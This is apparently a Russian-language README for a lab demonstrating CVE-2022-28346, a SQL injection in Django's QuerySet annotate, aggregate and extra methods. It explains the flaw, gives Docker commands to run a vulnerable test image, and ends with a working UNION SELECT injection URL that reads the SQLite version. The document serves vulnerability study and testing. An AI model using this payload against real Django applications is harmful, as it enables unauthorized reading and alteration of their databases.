
В пакете Django была обнаружена уязвимость, приводящая к SQL-инъекции. Эта уязвимость позволяет злоумышленнику с помощью специально созданного словаря, содержащего вредоносные SQL-запросы, полностью скомпрометировать базу данных.
В пакете Django была обнаружена ошибка, приводящая к SQL-инъекции. Эта ошибка позволяет злоумышленнику, использующему специально созданный словарь с вредоносными SQL-запросами, полностью скомпрометировать базу данных.
Выше в репозитории кода вы найдете подробный аналитический отчет (PDF) по CVE-2022-28346.
CVE-2022-28346 — критическая уязвимость, обнаруженная в различных версиях Django, популярного Python-веб-фреймворка. Эта уязвимость затрагивает версии Django 2.2 до 2.2.28, 3.2 до 3.2.13 и 4.0 до 4.0.4.
Суть проблемы заключается в методах QuerySet.annotate(), aggregate() и extra() внутри Django. Эти методы уязвимы к атакам с помощью SQL-инъекций, когда псевдонимы столбцов используются в сочетании со специально созданным словарем (с раскрытием словаря) в качестве переданных **kwargs. SQL-инъекция — это тип атаки, который позволяет злоумышленнику вмешиваться в запросы, которые приложение отправляет к своей базе данных. С её помощью можно просматривать данные, которые обычно недоступны, включая данные других пользователей или любые другие данные, к которым имеет доступ само приложение. В некоторых случаях злоумышленник может изменять или удалять эти данные, что влияет на целостность данных.
Чтобы провести тщательное тестирование этой уязвимости, убедитесь, что на вашем жестком диске достаточно свободного места. Для успешного выполнения теста уязвимости требуется минимум 1.2 ГБ.
Если у вас возникнут какие-либо проблемы или потребуются разъяснения по какому-либо из шагов, не стесняйтесь обращаться за помощью по электронной почте:Если у вас уже установлен Docker, вы можете пропустить этот раздел и перейти непосредственно к следующему набору инструкций.
Чтобы начать тестирование этой уязвимости, установите Docker:
Прежде чем переходить к следующим шагам, убедитесь, что Docker работает.
В вашем терминале выполните следующую команду, чтобы получить docker-образ, который мы создали и отправили в DockerHub:
sudo docker pull marouanekamal/cve-2022-28346:latest

Подождите, пока завершится загрузка Docker-образа. Если возникнут какие-либо проблемы, это может быть связано с вашим интернет-соединением; убедитесь, что у вас стабильное и активное соединение.
После завершения установки убедитесь, что образ существует, выполнив следующую команду:
sudo docker images

Теперь вы можете запустить docker-образ с помощью следующей команды:
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

Теперь сервер запущен, и мы можем эксплуатировать эту CVE ;)
После запуска docker-образа вы можете перейти по следующей ссылке, чтобы проверить, доступен ли URL:
http://0.0.0.0:8000/

Отображается слово ok, что означает, что URL доступен и всё работает отлично!
Теперь давайте атакуем эту уязвимость с помощью SQL-инъекции. Введите следующий URL, чтобы сделать это:
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

Нам удалось определить версию SQLite, используемую сервером ;)